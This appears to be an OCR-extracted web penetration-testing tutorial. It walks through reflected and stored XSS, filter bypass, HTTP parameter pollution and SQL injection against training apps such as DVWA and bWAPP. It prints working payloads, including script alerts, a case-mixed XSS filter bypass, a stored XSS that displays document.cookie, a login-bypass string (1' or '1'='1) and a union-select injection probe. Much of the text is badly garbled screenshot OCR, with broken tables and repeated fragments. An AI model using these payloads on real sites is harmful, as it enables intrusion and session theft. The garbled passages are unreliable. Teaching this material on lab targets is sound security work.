P Y C P	Payload Se You can defin sustomized in Payload set: Payload type:	e one or more payload sets. The number of payload sets of different ways. 1 Y Payload count: 4 Simple list	depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be	Start attack
<u>Р</u> т	Payload Ol This payload ty	ptions [Simple list] ype lets you configure a simple list of strings that are used	t as payloads.	
(Paste	<script>alert("1");</script> 		
	Load	 <META HTTP-EQUIV="refresh" CONTENT="0;url=java</td> <td></td> <td></td>		
	Remove			
	Clear			

• Analyze the results

Affact. Save Columns Result. Target Positions Payloads Options Filer: Showing all dems	Albect Save Columns Results Target Positions Payloads Options Filter: Showing all items Request Payload Status Error Timeout Length & Comment 0 200 4985 1 scripticalit(1); 200 5012 3 <itosrc-jusyascripticalit(3) 200<="" td=""> 5012 2 5012 4 5012 4 5013 4</itosrc-jusyascripticalit(3)>		rattack 1											
File: Image: Status Error Timeout Length Comment 0 200 4465 5012 5012 3 SRC_14/SCRIPLein(YS, 200 5017 2 SRC_14/SCRIPLein(YS, 200 5017 2 SRC_14/SCRIPLein(YS, 200 5017 2 SRC_14/SCRIPLein(YS, 200 5018 4	File: Image: Status Error Timeout Length A Comment 0 200 4965 5012 5017 3	Results	Target	Positions	Payloads	Options								
Request Payload Status Error Timeout Length A Comment 0 200 4865 1 -scripbalert(")://scripb> 200 5012 3 -486 SRC-JavASchPrlaiert("XS 200 5017 2 -486 SRC-JavASchPrlaiert("XS 200 5018 4 -4META HTTP-EOUV-*refresh" 200 5053 Pequest Response	Request Payload Status Error Timeout Length A Comment 0 200 4885 1 -seript>self(1)/s/script> 5012 3 -406 SRC-javaScRPtalet(YS	Filter: Shov	wing all iter	ms										
0 20 4985 1 secreptaint(1)/dscript> 200 5012 3 dNG SRC-JaVaScRPthent(XS 200 5017 2 <ng 200="" 5018<br="" src-javascrpthent(xs="">4 - VHETA HTTP-EOUN*Tefresh" 200 5053 Request Response Rew Headers Hex HTML Render Sp>Mhat's your name? (input type="cest" name="name"> (input type="cest" name="name"> <form> (input type="cest" name="name"> <form> <pre>Hello (input type="cest") (input type="ce</pre></form></form></form></form></form></form></form></form></form></form></form></form></form></form></ng>	0 200 4885 1	Request	Payloa	d		Status	Error	Timeout	Length	Comment				
1 <pre>script=alt(1);<script> 20</td><td>1 <pre>scrept=atr(1)_<scrept> 200</td><td>0</td><td></td><td></td><td></td><td>200</td><td></td><td></td><td>4985</td><td></td><td></td><td></td><td></td></tr><tr><td>2 <iNO SRC=prvsscriptalet(YL)</td> 200 5018 4 <iNETA HTTP-EQUIV="refresh"</td> 200 5053 4 <iNETA HTTP-EQUIV="refresh"</td> 200 5053 Request Response Raw Headers Hex HTML Render </p</td><td>2 <nbox</td> <nb</td><td>1</td><td><script</td><td>t>alert('1');< PC=IaVaS</td><td>/script> cDiDt:slert/"XS</td><td>200</td><td></td><td></td><td>5012 5017</td><td></td><td></td><td></td><td></td></tr><tr><td><pre>4</td><td><pre>4</td><td>2</td><td><IMG \$</td><td>SRC=javasc</td><td>ript:alert("XS.</td><td> 200</td><td></td><td></td><td>5018</td><td></td><td></td><td></td><td></td></tr><tr><td>Request Response Raw Headers Hex HTML Render Sp>Mhat's your name? <input type="text" name"name"></tip> <input type="submit" value="Submit"> </form> <pre>Hello <script>alert('1');</script></pre>	Request Response Raw Headers Hex HTML Render *What's your name? <ipupt name"="" type="test"> <ipupt name"="" type="test"> <ipupt type="submit" value="Submit"> <pre>>Hello <script>alert('1');</script></pre> <pre>>Hello <script>alert('1');</script></pre> <pre>>Hello <script>alert('1');</pre> <pre>>Hello <script></pre> <pre>>Hello <script></pre> <pre>>Hello <script></pre> <pre>>Hello <script></pre> <pre>>Hello <script></pre> <pre>>Hello <script></pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre> <pre>>Hello </pre></td><td>4</td><td><META</td><td>HTTP-EQU</td><td>IV="refresh" .</td><td> 200</td><td></td><td></td><td>5053</td><td></td><td></td><td></td><td></td></tr><tr><th>Request Response Rew Headers Hex HTML Render Sp>What's your name? <input type="text" name="name"></ti> <input type="text" name="second"> <input type="text" name="name"> <input type="submit" value="Submit"> </form> </pre>Hello <script>alert('1');</script></pre> <th>Request Response Raw Headers Hex HTML Render Sp>What's your name? <input name="name" type="text"/> <input type="submit" value="Submit"/> <input type="submit" value="Submit"/> <h2>Nore info</h2> ?<</th></ipupt></ipupt></ipupt>	Request Response Raw Headers Hex HTML Render Sp>What's your name? <input name="name" type="text"/> <input type="submit" value="Submit"/> <input type="submit" value="Submit"/> <h2>Nore info</h2> ?<												
Request Response Raw Headers Hex HTML Render	Request Response Raw Headers HEX HTML Render <input name"name"="" type="text"/> <ti><input name"name"="" type="text"/></ti> <ti><input type="submit" value="Submit"/></ti> <ti><input type="submit" value="Submit"/></ti> <ti> <pre>Hello <script>alert('1');</script></pre> <h2>More info</h2> ? <h>> <script> Finished 1n /li2.168.1.105/BookApp/BasicSearch.aspx?Word=<</td> /li2.168.1.105/BookApp/BasicSearch.aspx?Word= admes</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>_</th><th></th><th></th><th></th><th></th></tr><tr><td>Raw Headers HE MIML Render <Math 's your name?</p> <input type="text" name="name"><input type="text" name="name"><input type="text" name="stabilit"></pre> <input type="submit" value="Submit"></pre> </form> </form> <pre>More info</h1> ? + Finished 1r Finished 1r</td><td>Raw Headers HTML Render >What's your name? <ti>input type="text" name"hame"> <input type="text" name"hame"> <input type="text" name"hame"> <input type="submit" value="Submit"> </form> <t/form> <t/form> <t/form> <t/div> <h1> <script>alert('1');</script> <h1><h1< td=""> <h1< td=""> <script> 1 1 Finished 1 1 1 1 1 1 1 1 1 1 1 </td</td><td>Request</td><td>Respon</td><td>ise</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td><pre></td><td><pre>Mat's your name? <input type="text" name="name"> <input type="text" name="name"> <input type="submit" value="Submit"> </form> </form> </pre> </div> </div </td></td><td>Raw</td><td>leaders</td><td>Hex</td><td>ML Render</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><th>Finished Help //192.168.1.105/BookApp/BasicSearch.aspx?Word=<script>alert(123);</script> adlines</h1<></h1<></h1></h></ti>	Einished Help (/192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123); </script> adlines												
Help //192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123);</script> radines	Help //192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123);</script> adlines	2		<pre>Hel</pre>	110 <mark><serip< mark=""> h2></serip<></mark>	alert('1	L') ; <td>.pt<mark>></mark></td> <td>></td> <td></td> <td></td> <td></td> <td>1.</td>	.pt <mark>></mark>	>				1.	
Help //192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123);</script> adlines	Help //192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123);</script> adlines	? < Finished	More	<pre>Hel info</pre>	110 <mark><serip< mark=""> h2> script></serip<></mark>	alert(']	l'); <td>.pt><td>></td><td></td><td></td><td></td><td>11</td></td>	.pt> <td>></td> <td></td> <td></td> <td></td> <td>11</td>	>				11	
//192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123);</script> eadlines	//192.168.1.105/BookApp/BasicSearch.aspx?Word= <script>alert(123);</script>	? < Finished		<pre>Hel</pre>	11o <scrip h2> script></scrip 	nt≻alert(']	L'); <td>.pt><td>></td><td></td><td></td><td></td><td> 1 r</td></td>	.pt> <td>></td> <td></td> <td></td> <td></td> <td> 1 r</td>	>				1 r	
adlines	adines	? < Finished	 <h2>More</h2>	<pre>Hel</pre>	llo ≺scrip h2> script>	nt≻alert(']	L'); <td>.pt><td>></td><td></td><td></td><td></td><td> 1 r</td></td>	.pt> <td>></td> <td></td> <td></td> <td></td> <td> 1 r</td>	>				 1 r	
adines	adines	? < Finished ∐elp	<h2>More + +</h2>	<pre>Hel info </pre>	110 <scrip h2> script></scrip 	ript>sleet(122)	L'); <td>.pt><td>></td><td></td><td> </td><td></td><td> 11</td></td>	.pt> <td>></td> <td></td> <td> </td> <td></td> <td> 11</td>	>		 		 11	
		? < Finished Help (192.168.1.105)	<h2>More <td><pre>/pre>Hel info<!--/l--> Sectors/laboration</pre></td><td>aspx?Word=<sc< td=""><td>ript>alert('1</td><td>L');</td><td>.pt><td>></td><td></td><td> </td><td> </td><td> 1 r</td></td></sc<></td></h2>	<pre>/pre>Hel info<!--/l--> Sectors/laboration</pre>	aspx?Word= <sc< td=""><td>ript>alert('1</td><td>L');</td><td>.pt><td>></td><td></td><td> </td><td> </td><td> 1 r</td></td></sc<>	ript>alert('1	L');	.pt> <td>></td> <td></td> <td> </td> <td> </td> <td> 1 r</td>	>		 	 	 1 r	
		С? < Finished Нер /192.168.1.105 adlines	<h2>More +12>More 5/BookApp/H</h2>	<pre>/pre>Hel info<!--/l--> BasicSearch.a</pre>	<pre>llo <scrip h2=""> script> aspx?Word=<sc< pre=""></sc<></scrip></pre>	ript>alert('1	L');	.pt> <td>></td> <td></td> <td> </td> <td> </td> <td> _ 1r</td>	>		 	 	 _ 1r	
		? Finished Elelp /192.168.1.109 adlines	<h2>More 5/BookApp/f</h2>	<pre>/pre>Hel info<!--/</td--><td>aspx?Word=<se< td=""><td>ript>alert(123);</td><td>L');</td><td>.pt><td>></td><td></td><td></td><td></td><td>11</td></td></se<></td></pre>	aspx?Word= <se< td=""><td>ript>alert(123);</td><td>L');</td><td>.pt><td>></td><td></td><td></td><td></td><td>11</td></td></se<>	ript>alert(123);	L');	.pt> <td>></td> <td></td> <td></td> <td></td> <td>11</td>	>				11	
		Elep Help 192.168.1.100	<h2>More 5/BookApp/t</h2>	<pre>yre>Hel info solution BasicSearch.a</pre>	allo <scrip al> script></scrip 	ript>alert('1	L'); <td>.pt><td>></td><td></td><td></td><td></td><td> 1 r</td></td>	.pt> <td>></td> <td></td> <td></td> <td></td> <td> 1 r</td>	>				1 r	
		? Finished Help /192.168.1.105 adlines	<h2>More \$/BookApp/b</h2>	<pre>yre>He] info<!--/</td--><td><pre>llo <scrip h2=""> script> aspx?Word=<sc< pre=""></sc<></scrip></pre></td><td>ript>alert('1</td><td>L');<td>.pt><td>></td><td></td><td></td><td></td><td> 1 n</td></td></td></pre>	<pre>llo <scrip h2=""> script> aspx?Word=<sc< pre=""></sc<></scrip></pre>	ript>alert('1	L'); <td>.pt><td>></td><td></td><td></td><td></td><td> 1 n</td></td>	.pt> <td>></td> <td></td> <td></td> <td></td> <td> 1 n</td>	>				 1 n	
		? Finished Help /192.168.1.105	<h2>More +12>More 5/BookApp/H</h2>	<pre>yre>Hel info Satisfies BasicSearch.a</pre>	<pre>script> aspx?Word=<sc< pre=""></sc<></pre>	ript>alert('1	L');	.pt> <td>></td> <td></td> <td></td> <td></td> <td>11</td>	>				11	
		? Finished Elelp //192.168.1.105 adlines	<h2>More 5/BookApp/b</h2>	<pre>yre>Hel info BasicSearch.a</pre>	aspx?Word= <sc< td=""><td>ript>alert(123);</td><td>L');</td><td>.pt><td>></td><td></td><td></td><td></td><td>1 п</td></td></sc<>	ript>alert(123);	L');	.pt> <td>></td> <td></td> <td></td> <td></td> <td>1 п</td>	>				1 п	
		Einished	<h2>More 5/BookApp/t</h2>	<pre>yre>Hel info BasicSearch.c</pre>	<pre>llo <scrip h2=""> script> aspx?Word=<script <="" pre=""></td><td>ript>əlert(123);</td><td>L');</scri </script></scrip></pre>	pt> <td>></td> <td></td> <td></td> <td></td> <td>1 m</td>	>				1 m			
The page at http://192.168.1.105 says:	The page at http://192.168.1.105 says:	? Finished Help /192.168.1.105 adlines		<pre>yre>HeJ info<!--/</td--><td><pre>llo <scrip a2=""> script> aspx?Word=<script p.<="" pre="" the=""></td><td>ript>alert('1</td><td>L');</scri </script></scrip></pre></td><td>pt><td>></td><td></td><td></td><td></td><td>1 n</td></td></pre>	<pre>llo <scrip a2=""> script> aspx?Word=<script p.<="" pre="" the=""></td><td>ript>alert('1</td><td>L');</scri </script></scrip></pre>	pt> <td>></td> <td></td> <td></td> <td></td> <td>1 n</td>	>				1 n			
The page at http://192.168.1.105 says: Image: Name of Control of Contr	The page at http://192.168.1.105 says:	? Finished Help /192.168.1.105		<pre>shell info BasicSearch.a</pre>	<pre>llo <scrip h2=""> script> aspx?Word=<sc is="" it="" p.="" td="" th<="" the=""><td>ript>alert('1 ript>alert(123); age at http:// 123</td><td>L');</td><td>pt><td>></td><td></td><td></td><td></td><td>] 1r</td></td></sc></scrip></pre>	ript>alert('1 ript>alert(123); age at http:// 123	L');	pt> <td>></td> <td></td> <td></td> <td></td> <td>] 1r</td>	>] 1r	
The page at http://192.168.1.105 says:	The page at http://192.168.1.105 says:	? Finished Elelp //192.168.1.109 adlines		<pre>yre>Hel info same set of the set o</pre>	<pre>llo <scrip h2=""> script> aspx?Word=<sc <="" pre=""></sc></scrip></pre>	ript>alert(123); age at http://	L');	pt> <td>></td> <td></td> <td></td> <td></td> <td>_ 1r</td>	>				_ 1r	
The page at http://192.168.1.105 says: X 123 OK	The page at http://192.168.1.105 says: Image: 123 OK	С Гinished Нер (192.168.1.105 xdlines		<pre>yre>HeJ info<!--/</td--><td><pre>Llo <scrip h2=""> script> aspx?Word=<scrip for="" line="" of="" p.="" p<="" present="" td="" the=""><td>ript>alert('1 ript>alert(123); age at http://</td><td>L'); </td><td>pt><td>></td><td></td><td></td><td></td><td></td></td></scrip></scrip></pre></td></pre>	<pre>Llo <scrip h2=""> script> aspx?Word=<scrip for="" line="" of="" p.="" p<="" present="" td="" the=""><td>ript>alert('1 ript>alert(123); age at http://</td><td>L'); </td><td>pt><td>></td><td></td><td></td><td></td><td></td></td></scrip></scrip></pre>	ript>alert('1 ript>alert(123); age at http://	L'); 	pt> <td>></td> <td></td> <td></td> <td></td> <td></td>	>					

Bypass XSS filter

Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may

be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.

References this link for more information

• https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Example

• Pentester can open and review page source to analyze source code for filtering XSS mechanism

i 192.168.111.140/dvwa/	vulnerabilities/xss_r/?name= <script></script>
-------------------------	--

(i) 192.168.111.140/dvwa/vulnerabilities/view_source.php?id=xss_r&security=medium

Reflected XSS Source

php</td
<pre>if(!array_key_exists ("name", \$_GET) \$_GET['name'] == NULL \$_GET['name'] == ''){</pre>
<pre>\$isempty = true;</pre>
} else {
<pre>echo '<pre>'; echo 'Hello ' . str_replace('<script></script></pre></pre>

③ 192.168.111.140/dvwa	/vulnerabilities/xss_r/?name=	= <s<mark>Cript>alert('1')<%2FsCript></s<mark>	#
		DVWA	
Home	Vulnerabilit	y: Reflected Cro	oss Site Scripting (X
Instructions			
Setup	What's your name		-
Brute Force		1	
Command Execution	Hello		
CSRF		ОК	
Insecure CAPTCHA			
File Inclusion			

2. Testing for Stored Cross Site Scripting

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user's browser under the privileges of the web application. Since this vulnerability typically involves at least two requests to the application.



How to

Test Input

Forms

- The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:
 - User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc
 - Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
 - File Manager: application that allows upload of files
 - Application settings/preferences: application that allows the user to set preferences
 - Forum/Message board: application that permits exchange of posts among users
 - o Blog: if the blog application permits to users submitting comments
 - Log: if the application stores some users input into logs.

Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page. Differently from reflected XSS, the pen-tester should also investigate any out- of-band channels through which the application receives and stores users input.

Note: All areas of the application accessible by administrators should be tested to identify the presence of any data submitted by users.

Example

📿 Damn	Vulnerable W	/eb App (DV 🗙 🕂			
\rightarrow G		i 192.168.1.40/dvwa/vulne	▣ ◙ ☆	111	∎
		DVWA			

Vulnerability: Stored Cross Site Scripting (XSS)

Name *		
Message *		
	Sign Guestbook	

Name: test Message: This is a test comment.

Name: Peter Winter Message:

	44	http://192.1	68.1.40		POST	/dvwa/vulnerabilities/xss_s/	\checkmark	200	5654	HTML	Damn Vulnerable Web A
	Requ	est Respo	inse								
	Raw	Params	Headers	Hex							
	POST /	dvwa/vulr	nerabilit	ties/xss	s s/ HTTP	/1.1					
	Host:	192.168.1	L.40		-						
	User-A	gent: Mos	zilla/5.0) (Windo	ows NT 6.	1; W0W64; rv:58.0) Gecko/	20100101 Firefox/5	8.0			
	Accept	: text/ht	ml, appl:	ication/	/xhtml+xm	l,application/xml;q=0.9,*	/*;q=0.8				
	Accept	-Language	e: vi-VN	,vi;q=0.	8,en-US;	q=0.5,en;q=0.3					
	Accept	-Encoding	g: gzip,	deflate	2						
	Refere	r: http:/	//192.168	B.1.40/d	ivwa/vuln	erabilities/xss_s/					
	Conter	t-Type: a	applicat:	ion/x-ww	w-form-u	rlencoded					
	Conter	t-Length:	56								
	Cookie	: securit	y=low; 1	PHPSESSI	D=mb110e	9a44113731rt58spf675; acc	pendivids=swingset	,jotto,phpb	b2,redmin	ne; acgro	oupswithpersist=nada
	Connec	tion: clo	ose								
1	Upgrad	le-Insecui	e-Reques	sts: 1							
	txtNam	e=Cloud&m	atxMessa	ge=hi+c]	Loud&btnS	ign=Sign+Guestbook					

44 http://192.168.1.40 P	OST /dvwa/vulnerabilities/xss_s/	\checkmark	200	5654	HTML	Damn Vulnerable Web A
•						
Request Response			_			
Raw Headers Hex HTML Render						
• Upload]			
XSS reflected	Sign Guestbook					
XSS stored						
DVWA Security	Nama: tast					
PHP Info	Message: This is a test comment.					
• About	Name: Peter Winter					
• Logout	Message:					
	Name: Cloud Message: hi cloud					

		Target	Proxy	Spider	Scanner	Intruder	R	epeater
	DV/WA	Intercept HTTP I	history WebSoc	kets history	Options			spoulo
		Filter: Hiding CSS, im	age and general b	nary content				
		# 🔺 Host		Method	URL	Pa	ams Edited	Status
ome	Vulnerability: Stored Cross Site	28 http://192.1	68.1.40	POST	/dvwa/login.php		1	302
natructions		29 http://detec	tportal fire fox.com	GET	/success.txt			200
isuucuons	Namo *	32 http://192.1	68.1.40	GET	/dvwa/dvwa/js/dvwa	aPage.js		200
letup		35 http://192.1	68.1.40	GET	/dvwa/vulnerabilities/	/xss_s/		200
security=low; P	HPSESSID=mbil0e9a44ii3731rt58spf675; swingset jotto phphb2 radmine:	36 http://192.1	68.1.40	GET	1			200
Brute Force acgroupswithp	ersist=nada	37 http://192.1	68.1.40 68.1.40	GET	/jquery.min.js /animatedcollanse is			200
Command I		44 http://192.1	68.1.40	POST	/dvwa/vulnerabilities/	/xss_s/	1	200
SDE		45 http://192.1	68.1.40	POST	/dvwa/vulnerabilities/	/xss_s/	1	200
	OK	•						
Insecure C/	=	Request Respo	nse					
File Inclusion			Handara Harr					
SQL Injection	Name: test	Raw Params	neaders nex					
SQL Injection (Blind)	message. This is a test comment.	User-Agent: Moz	40 :illa/5.0 (Wi)	dows NT 6.	1; W0W64; rv:58.0	0) Gecko/20100101	Firefox/58.	. 0
Inload	Name: Peter Winter	Accept: text/ht	ml, application	n/xhtml+xm	l,application/xm	1;q=0.9,*/*;q=0.8		
VCC	wiessage.	Accept-Language	: vi-VN,vi;q	0.8,en-US;	q=0.5,en;q=0.3			
XSS reflected	Name: Cloud	Referer: http:/	/192.168.1.4	/dvwa/vuln	erabilities/xss_	s/		
XSS stored	Message: hi cloud	Content-Type: a	application/x	www-form-u	rlencoded			
	Name: XSS stored	Content-Length:	106	SID=mb110c	6-44112721rt 50cm	+C75 -		
OVWA Security	Message:	acopendivids=sw	ingset, jotto	phpbb2,red	mine; acgroupswit	thpersist=nada		
PHP Info		Connection: clo	se					
About		Upgrade-Insecur	e-Requests:					
		txtName=XSS+sto	redamtxHessa	e=%3Cscrip	t\$3Ealert\$28docu	ment.cookie%29%3C	2Fscript#31	EkbtnSi
Lonout		n=Sign+Guestboo	dr					1.1.1.1.1
Logour								
	-							

	• Damn Vulnerable Web App (DV 🗙	+		🕒 Owasp T 🗙 🕒 bwapp-t 🗙 🎰 Google E X 🗖 Calvir 🖣 X 🖍 Damn Vi X
€-	→ × û (i) 192.16	i8.1.40/dvwa/vulnerabilit 🛛 😶 🗙		← → X () 192.168.1.40/dvwa/vulnerabilities/xss_s/
		DYWA	ŕ	192.168.1.40 cho biết security=low; PHPSESSID=f29pti9etj0t7neul7t230mia1
	Home	Vulnerability: Stored Cr	oss Site	
	Instructions			
	Setup security=low; PHP acopendivids=swi	Vamo * SESSID=mbil0e9a44ll3731rt58spf675; ingset.jotto.phpbb2,redmine; vamode		
	Command	Ist=nada		
	CSRF	ОК		
	Insecure C/			
	File Inclusion			
	SQL Injection	Name: test Message: This is a test comment		
	SQL Injection (Blind)			
	Upload	Name: Peter Winter Message:		
	XSS reflected	Name: Cloud		
	XSS stored	Message: hi cloud		
	DVWA Security	Name: XSS stored Message:		
	PHP Info			
	About			
∢ [Start	Logout		40	

//Some XSS exploit demo

//Xenotic tools, xsstrike,automate scanner

3. Testing for HTTP Verb Tampering

References: Configuration and Deployment Management Testing - Test HTTP Methods

4. Testing for HTTP Parameter pollution

Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short HPP) affects a building block of all web technologies, server and client side attacks exist.

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. By itself, this is not necessarily an indication of vulnerability. However, if the developer is not aware of the problem, the presence of duplicated parameters may produce an anomalous behavior in the application that can be potentially exploited by an attacker. As often in security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP

Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the outcome of HPP attacks, it is interesting to analyze some real-life examples that have been discovered in the past.

How To Test

A more in-depth analysis would require three HTTP requests for each HTTP parameter:

- Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g.page?par1=val1
- Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. page?par1=HPP_TEST1
- Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. page?par1=val1&par1=HPP_TEST1
- Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.
- Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See the references for examples and details.

Example

← → ♂ ଢ	(i) 192.168.1.40/bWAPP/hpp-1.php
bV an ex	VAPP Tremely buggy web app !
Bugs Chang	e Password Create User Set Security Level Reset
In order to v	TP Parameter Pollution / te for your favorite movie, your name must be entered:



Connection: close Upgrade-Insecure-Requests: 1



register with name: cloud&movie=3 and vote for movie with id=1

😵 bwapp - H	TTP Parameter Polic 🗙 🕂				
€ → 6	ŵ	(i) 192.168.1.40/bWAPP/	hpp-2.php?name=cloud%2	6movie%3D3	&action=vote
	HTTP A Hello Cloud&movie=3, Remember, Tony Stark	Parameter	- Pollution	1	
	Title	Release	Character	Genre	Vote
	G.I. Joe: Retaliation	2013	Cobra Commander	action	Vote
	Iron Man	2008	Tony Stark	action	Vote
	Man of Steel	2013	Clark Kent	action	Vote
147 http://192.168. 149 https://shavar	1.40 GET /bWAPI services.mozilla.c POST /downli	P/hpp-3.php?movie=1&name=clo ✓ oads?client=navclient-auto-ffox ✓	200 11300 HTML 200 205 text	php	bWAPP - HTTP Paramete
Request Respons Raw Params H ET /bWAPP/hpp-3. lost: 192.168.1.4 'ser-Agent: Mozil .ccept-language: .ccept-language	<pre>eaders Hex php?movie=l&name=cloud&movie 10 lla/5.0 (Windows NT 6.1; WOW6 l,application/xhtml+xml,appli vi-WN,vi;q=0.8,en-US;q=0.5,e gzip, deflate l92.168.1.40/bWAPP/hpp-2.php? D=t4d3ld2ch35p6ghm0er180kjml; e rRequests: 1</pre>	=3&action=vote HTTP/1.1 4; rv:58.0) Gecko/20100101 Fire cation/xm1;q=0.9,*/*;q=0.8 n;q=0.3 name=cloudt26moviet3D3&action=v acopendivids=swingset,jotto,ph	fox/58.0 ote pbb2,redmine; acgroupswithpersi	.st=nada; secur	ity_level=0

4.47	http://402.468.4.40	OFT	/hM/ADD/hpp 2 php2movie_42 pama_ala	.1	200	44200	UTM	aha	hWARD HTTP Paramete
147	11110.1192.100.1.40	GEI	/bvvAPP/npp-5.pnp?movie=T&name=cio	*	200	11300	HIML	prip	DWAPP - HTTP Paramete
149	https://shavar.services.mozilla.c	POST	/downloads?client=navclient-auto-ffox	\checkmark	200	205	text		
						_			
Requ	Jest Response								
Raw	Headers Hex HTML Ren	der							
-	· · · · · · · ·								
	иттр	Da	remeter Del	143	~ ~				
	HTTP	Pa	rameter Pol	luti	on				
	HTTP	Pa	rameter Pol	luti	on				
	HTTP	Pa	rameter Pol	luti	on				
	HTTP	Pa	rameter Pol	luti	on				
	HTTP	Pa	rameter Pol	luti	on				
	HTTP	Pa	rameter Pol	luti	on				
	HTTP Your favorite mo	Pa vie is: M	arameter Pol	luti	on				

Thank you for submitting your vote!

5. Testing for SQL Injection

An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.



Authentication Bypass

AUTHENTICATION BYPASS
http://www.mywebsite/forums/

SELECT * FROM Users WHERE Username='\$username' AND Password='\$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

\$username = cloud'

\$password = 1' or '1' =

'1 The query will be:

SELECT * FROM Users WHERE Username='cloud' AND Password='1' OR '1' = '1'

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.



Error-Based SQL Injection



An Error based exploitation technique is useful when the tester for some reason can't exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).



1 × 2 × 3 × 4 × 5 × ... **Go** Cancel < |▼ > |▼ Target: https://aspdotnetapp.infosecaddicts.com 🖉 🖓 Request Response Raw Params Headers Hex ViewState Raw Headers Hex HTML Render ViewState POST request to /bookdetail.aspx **Books Forever** Name Туре Add 1 'union select null.user() dc6029645e53a73349b3b19dae03f6e... dc12.7815731313564954291 4e20d75b165c5e988ea135b1a1af exinfosecadicus.com.2ptKrdxgFF60Kh88... b53f835b-625c-4a04-8f8e.075c7b6a2rCf fb.1156495135350.41704186 GA12.1223647954.1565405500 Go URL __cfduid Remove __crauio __ga __auc __tawkuuid __stripe_mid _fbp _gid __EVENTTARGET Up Book Detai Down Publication Late PONT __EVENTTARGET __EVENTARGUMENT __VIEWSTATE __VIEWSTATEGENERATOR Go d Search /wEPDwUJMzUzOTgwMzQ0D2QWAmYPZB.. 6DCAC49F Juł ctl00\$txtSearch ctl00\$txtSearchDOMXSS ctl00\$ddlAdvSearch ctl00\$ibSearchDOMXSS.x Publication 16 Book name: ctl00\$ibSearchDOMXSS.y ctl00\$txtNewsEmail let a over Author: Publication: Body encoding: application/x-www-form-urlencoded 1.0 Done 13.000 bytes | 107 millis

1' union select null,user()

Server Error in '/' Application.

Unclosed quotation mark after the character string ' union null, user()'.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ' union null,user()'.

Source Error:

Line 191:	SqlDataAdapter myAd = new SqlDataAdapter("SELECT * FROM BOOKMASTER WHERE BOOKID=" + bookid, mycon);
Line 192:	DataSet dsResult = new DataSet();
Line 193:	<pre>myAd.Fill(dsResult);</pre>
Line 194:	return dsResult;
Line 195: }	

Source File: c:\inetpub\wwwroot\App_Code\BookService.cs Line: 193

Stack Trace

[SqlException (0x80131904): Unclosed quotation mark after the character string ' union null,user()'.] System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) +3306108

System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bul)

